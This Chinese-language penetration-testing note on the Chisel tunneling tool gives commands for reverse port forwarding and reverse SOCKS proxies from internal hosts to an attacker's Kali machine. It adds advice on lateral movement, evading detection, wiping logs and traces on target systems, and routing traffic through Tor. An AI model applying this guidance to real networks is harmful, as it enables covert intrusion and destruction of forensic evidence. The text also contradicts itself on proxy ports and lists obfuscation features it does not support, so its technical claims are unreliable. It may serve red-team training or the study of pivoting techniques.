Chisel隧道
Chisel内网穿透
sudo chisel server --port 6666 --reverse
sudo ./chisel client 192.168.126.201:6666 R:8080:127.0.0.1:80
# 测试
kali浏览器设置好8080端口,socks5代理,访问http://127.0.0.1:8080/,即可成功访问到内网主机的80端口
Chisel端口转发
sudo chisel server --port 7777
sudo ./chisel client 192.168.126.201:7777 8888:192.168.126.134:80
# 测试
kali浏览器http://对方ip:8888,即可成功访问到内网主机的80端口
Chisel-socks代理
服务端使用反向模式,监听12345,并允许远端指定转发端口
客户端通过12345端口连接kali建起隧道,再通过R接socks即可,代表客户端的socks1080反向给到了kali
sudo chisel server --port 12345 --reverse
sudo ./chisel client 192.168.126.201:12345 R:socks
# 测试
kali浏览器设置好12345端口,socks5代理,即可成功访问内网资产
Chisel说明
Chisel优势
像Lcx端口转发,有一个缺点就是转发RDP端口,一旦断开就无法继续使用,需要重新执行。像EarthWorm、Termite,因为源代码不开源,导致被杀,且已经停止了更新。像Frp,需要结合配置文件操作,渗透实战中不太合适。
像上面几个工具的缺点,Chisel是可以避免的。优秀的工具还有很多,Chisel仅供参考。
流量混淆技术
Chisel采用多种技术来混淆流量,提高隐蔽性:
- HTTP伪装:所有通信都封装在HTTP请求中
- WebSocket伪装:进一步模仿正常的Web应用行为
- 数据包分片:将大数据包分割成多个小包发送
- 流量填充:在空闲时发送无意义的填充数据
- 动态端口:支持动态更换通信端口
Chisel简介
Chisel是一个基于Go语言开发的高效TCP/UDP隧道工具。它的特点包括:
- 支持TCP和UDP协议,满足多样化的渗透需求
- 利用HTTP/HTTPS进行数据传输,易于绕过大多数防火墙
- 内置SSH加密,确保数据传输安全性
- 支持反向端口转发,便于内网穿透
- 轻量级设计,易于在目标系统上部署和隐藏
Chisel工作模式
Chisel采用客户端-服务器模式工作,其流程如下:
- 客户端发起HTTP/HTTPS连接请求服务器
- 双方协商加密参数,建立SSH通道
- 客户端请求打开指定端口的隧道
- 服务器确认后开始转发流量
- 应用层数据经过SSH加密后通过HTTP隧道传输
这种设计允许Chisel在高度受限的网络环境中运行,同时保持较高的安全性。
实战应用
在内网渗透中,Chisel可以用于多种场景:
- 反向Shell:通过反向连接绕过防火墙,获取目标系统的远程控制
- 内网代理:在已控制的主机上设置SOCKS5代理,方便后续的内网探测
- 端口转发:将内网服务暴露到外网,便于远程访问内网资源
- 横向移动:在不同网段间建立隧道,扩大渗透范围
实战技巧:
- 使用反向连接时,可以将Chisel伪装成常见服务,如web服务器
- 结合其他工具如Metasploit,可以构建更复杂的攻击链
- 在多层内网中,可以使用Chisel构建多级代理链
安全建议
作为红队成员,我们应该注意:
- 使用自定义的User-Agent和其他HTTP头,避免被防御系统识别
- 适当调整流量混淆参数,在隐蔽性和性能之间找到平衡
- 定期更换通信端口和服务器地址,增加追踪难度
- 在目标系统上使用后要彻底清理痕迹,包括日志和临时文件
- 考虑将Chisel与其他工具结合使用,如将流量通过Tor网络转发
随着网络安全领域的不断发展,像Chisel这样的工具也在不断进化。未来可能会看到:
- 更先进的流量混淆技术,如模仿特定应用的流量模式
- 与人工智能结合,自动调整行为以适应不同的网络环境
- 更强大的加密方式,以应对量子计算带来的挑战